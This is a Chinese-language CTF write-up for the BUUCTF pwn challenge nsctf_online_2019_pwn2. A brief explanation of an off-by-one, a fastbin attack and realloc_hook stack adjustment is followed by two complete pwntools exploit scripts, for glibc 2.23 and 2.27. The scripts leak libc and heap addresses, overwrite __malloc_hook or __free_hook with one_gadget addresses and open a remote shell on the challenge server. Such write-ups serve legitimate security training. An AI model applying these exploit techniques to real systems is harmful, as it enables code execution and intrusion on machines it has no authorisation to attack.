(BUUCTF)nsctf_online_2019_pwn2

前置知识

  • fastbin attack
  • 使用realloc_hook调整栈帧
  • off by one

整体思路

题目版本为ubuntu 16,即glibc2.23,无tcache
程序的逻辑是只有一个chunk ptr指向当前的chunk,且释放后同样将chunk ptr清零。
观察程序,程序开始会让我们输入name,长度为0x30,并且可以任意更改name,更改时长度为0x31,溢出1字节,刚好是溢出到chunk ptr的最低位。
因此可以先申请一个大小属于unsorted binchunk a,然后再申请一个fast chunk,修改chunk ptr使其指向chunk a,将其释放。再申请一个fast chunk,再次修改chunk ptr使其指向切割后的chunk a,获得libc地址。
然后同样使用上述操作打fastbin attack,注意free_hook打不通,因此使用realloc来调整栈帧打malloc_hook

exp

from pwn import *
from LibcSearcher import *

filename = './nsctf_online_2019_pwn2'
context(log_level='debug')
local = 0
elf = ELF(filename)
libc = ELF('/glibc/2.23-0ubuntu11_amd64/libc.so.6')

if local:
    sh = process(filename)
else:
    sh = remote('node4.buuoj.cn', 26040)

def debug():
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()

choice_words = '6.exit\n'

menu_add = 1
add_index_words = ''
add_size_words = 'Input the size\n'
add_content_words = ''

menu_del = 2
del_index_words = ''

menu_show = 3
show_index_words = ''

menu_edit = 5
edit_index_words = ''
edit_size_words = ''
edit_content_words = 'Input the note\n'

def add(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendlineafter(add_size_words, str(size))
    if add_content_words:
        sh.sendafter(add_content_words, content)

def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))

def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))

def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))
    if edit_content_words:
        sh.sendafter(edit_content_words, content)

def update(content):
    sh.sendlineafter(choice_words, '4')
    sh.sendafter('input your name\n', content)

def leak_info(name, addr):
    success('{} => {}'.format(name, hex(addr)))


# 输入name
sh.recv()
payload = b'a'*0x30
sh.send(payload)

# 通过修改chunk ptr指向unsorted chunk,释放
add(size=0x80)
add(size=0x10)
update(content=b'a'*0x30 + p8(0x10))
delete()
# 再次修改chunkptr指向unsorted chunk,泄露出libc地址
add(size=0x10)
update(content=b'a'*0x30 + p8(0x30))
show()
libc_leak = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('libc_leak', libc_leak)
libc.address = libc_leak - 0x3c4b78
leak_info('libc.address', libc.address)
leak_info('free_hook', libc.sym['__free_hook'])
leak_info('malloc_hook', libc.sym['__malloc_hook'])

# 还原chunk到末尾为0x100开头方便接下来fastbin attack
add(size=0x60)
add(size=0x40)

# 开始fastbin attack
add(size=0x60)
delete()
add(size=0x10)
update(content=b'a'*0x30 + p8(0x10))
edit(content=p64(libc.sym['__malloc_hook'] - 0x23))
add(size=0x60)
add(size=0x60)
# sh.recv()
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
leak_info('malloc_hook', libc.sym['__malloc_hook'])
# 使用realloc_hook调整栈帧
edit(content=b'a'*(0x13 - 0x8) + p64(libc.address + one_gadget[1]) + p64(libc.sym['realloc'] + 12))
add(size=0x50)
sh.interactive()
# debug()

2.27下的exp

最开始看错题目成glibc2.27了,需要泄露heap base然后打tcache_perthread_structexp如下:

from pwn import *
from LibcSearcher import *

filename = './nsctf_online_2019_pwn2'
context(log_level='debug')
local = 0
elf = ELF(filename)
libc = ELF('/glibc/2.27-3ubuntu1_amd64/libc.so.6')

if local:
    sh = process(filename)
else:
    sh = remote('node4.buuoj.cn', 26040)

def debug():
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()

choice_words = '6.exit\n'

menu_add = 1
add_index_words = ''
add_size_words = 'Input the size\n'
add_content_words = ''

menu_del = 2
del_index_words = ''

menu_show = 3
show_index_words = ''

menu_edit = 5
edit_index_words = ''
edit_size_words = ''
edit_content_words = 'Input the note\n'

def add(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendlineafter(add_size_words, str(size))
    if add_content_words:
        sh.sendafter(add_content_words, content)

def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))

def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))

def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))
    if edit_content_words:
        sh.sendafter(edit_content_words, content)

def update(content):
    sh.sendlineafter(choice_words, '4')
    sh.sendafter('input your name\n', content)

def leak_info(name, addr):
    success('{} => {}'.format(name, hex(addr)))


sh.recv()
payload = b'a'*0x30
sh.send(payload)

add(size=0x10)
delete()
add(size=0x20)
update(content=b'a'*0x30 + p8(0x60))
delete()
add(size=0x20)
update(content=b'a'*0x30 + p8(0x60))
show()
heap_leak = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('heap_leak', heap_leak)
heap_base = heap_leak - 0x260
leak_info('heap_base', heap_base)
edit(content=p64(heap_base + 0x10))
add(size=0x10)
add(size=0x10)
payload = b'\x00'*7 + b'\x08'*9
edit(content=payload)
add(size=0x20)
add(size=0x80)
add(size=0x20)
update(content=b'a'*0x30 + p8(0x10))
delete()
add(size=0x20)
update(content=b'a'*0x30 + p8(0x40))
show()
libc_leak = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('libc_leak', libc_leak)
libc.address = libc_leak - 0x3ebca0
leak_info('libc_base', libc.address)
add(size=0x50)
add(size=0x50)
add(size=0x20)
delete()
add(size=0x30)
update(content=b'a'*0x30 + p8(0x30))
edit(content=p64(libc.sym['__free_hook']))
add(size=0x20)
one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
add(size=0x20)
edit(content=p64(libc.address + one_gadget[1]))
delete()
sh.interactive()
# debug()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值